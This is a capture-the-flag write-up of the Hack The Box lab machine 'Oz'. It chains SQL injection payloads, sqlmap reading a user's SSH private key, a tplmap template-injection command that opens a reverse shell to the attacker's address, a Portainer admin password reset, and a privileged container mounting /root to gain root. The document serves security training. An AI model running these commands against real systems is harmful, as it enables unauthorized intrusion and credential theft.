Hey I’m back with another Hack The Box write-up , this time Oz has retired and it was rated as a hard box. I enjoyed this box , it was really fun. It had some docker tricks which were very cool , It’s a linux box and it’s ip is 10.10.10.96 so let’s jump right in.
Check out my other Hack The Box write-ups
As always we will start by running nmap to scan for open ports and services.
nmap -sV -sT -o nmapinitial oz.htb
Note : I added the ip to my /etc/hosts file as oz.htb
And we see only http on port 80 and 8080. We also see that it’s running a python server.
On port 80 there’s a web page with the title “OZ Webapi” and it’s asking us to register a username.
On port 8080 we see a login page.
If we tried running gobuster on port 80 to find hidden dirs and files we will get a wildcard response.
And that’s because the server doesn’t respond with 404. Instead of 404 , when we request a non-existing page the server responds with a line of random chars.
Here I requested
And this makes it hard to enumerate because we will always get a 200 response. So what are we going to do is to use wfuzz to filter the responses for us.
wfuzz -u http://oz.htb/FUZZ/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hl 0
This won’t show us any response with 0 lines.
After a few seconds we get /users/
When we visit /users/ in the browser we get the default response : please register a username.
So we have /users/ which is a valid path , what happens if we tried a username that probably exists, something like admin ?
We get a json response
username : "admin"
Let’s try a single quote
We get 500 Internal Server Error, So this endpoint is probably vulnerable to SQL injection , Let’s try something else ,
'OR 1 OR'
We get another username : “dorthi” , So this is a confirmation that it’s vulnerable to sqli , Let’s do another injection and see if we can enumerate users
' or length(username)='4
Another username : “toto”
Let’s try 7
So we confirmed it’s sqli , The next step is to use sqlmap.
sqlmap -u http://10.10.10.96/users/toto --all
This will dump the whole database
After some time it will start dumping tables and we will notice an interesting table
So if we try to crack those hashes the only one that will crack is wizard.oz :
Now we have a username and its password let’s login to port 8080
And success !
Dorthi’s ssh key
We login to something that looks like a ticketing system, After reading the tickets we will find 2 interesting tickets.
So this ssh key is on the database and we have sqli on that database , Let’s grab it.
sqlmap -u "http://10.10.10.96/users/toto" --string "username" --file-read "/home/dorthi/.ssh/id_rsa" -v1
Cool so now we can ssh and own user, No wait …
By looking at the nmap scan again:
There’s no ssh listening !
Server Side Template Injection
If we return to that ticketing system we will see that we can add a ticket , it asks us for a name and a description.
By capturing that request in burp we will see a POST request with two parameters name and desc.
And the response outputs them.
If we used tplmap (a tool like sqlmap for automatic template injection exploitation) we will find that it’s vulnerable.
python tplmap.py -u 'http://10.10.10.96:8080' -X POST -d 'name=*&desc=anything' -c 'token=TOKEN' --reverse-shell 10.10.xx.xx 1337
Then we check our listener , we will get a reverse shell.
Knock , Knock
After some enumeration we will find in
/ two unusual dirs
.secret , in
.secret there is a file called
That’s a configuration file for ssh port knocking, Port knocking means that in order to connect to an ssh server you need to ping some ports in a specific sequence to be able to connect.
In our situation the ports are 40809 50212 46969 and all of them are udp
In the other dir
containers there’s a dir called
database which has some files, One of them is called
And we grabbed some passwords maybe we will need them later.
Now we know the port sequence let’s ssh into the box. We can use knockd to do that but I used a small script that uses nmap.
chmod 600 to the key then execute our script.
The key is protected with a password , Let’s try the db password we found earlier : “N0Pl4c3L1keH0me”
And we owned user !
After some regular enumeration if we do sudo -l we will find that dorthi can run some commands as root
docker network ls and
docker network inspect *
Let’s first list the networks
sudo docker network ls
We see some networks let’s inspect the first one
sudo docker network inspect bridge
portainer-1.11.1 and its ip is
172.17.0.2 , Portainer is the user interface for docker management and it usually runs http on port 9000 , we can also check that by using nmap. Luckily it’s installed on the box.
And we see that port 9000 is listening , so now we need to set up an ssh port forwarding to be able to access that portainer.
We can edit the ssh port knocking script to add the forwarding command.
Now when we visit localhost on port 9000 we get a login page.
By using the HTTP API as documented here we can re-assign the admin password by sending a POST request to
/api/users/admin/init with data as :
I did it with burp and set the password to
After we login we will see the dashboard showing the status of the containers.
In the containers tab there are 4 container running.
If we check the container webapi we can use its console.
We can create a new container with the image of webapi and mount
/root or the whole filesystem
/ then use the console to access it.
First we will grab the image name from the images tab : “webapi:latest”
Then we will create a container and name it anything , I named it “NiceContainer” , add the image , then add a volume with path
/root and mount it to /mnt/
Then from the security tab we choose privileged mode.
Click create , Use the console ,
cd /mnt and we own root ! :D
That’s it , Feedback is appreciated !
Don’t forget to read the previous write-ups , Tweet about the write-up if you liked it , follow on twitter for awesome resources @Ahm3d_H3sham
Thanks for reading.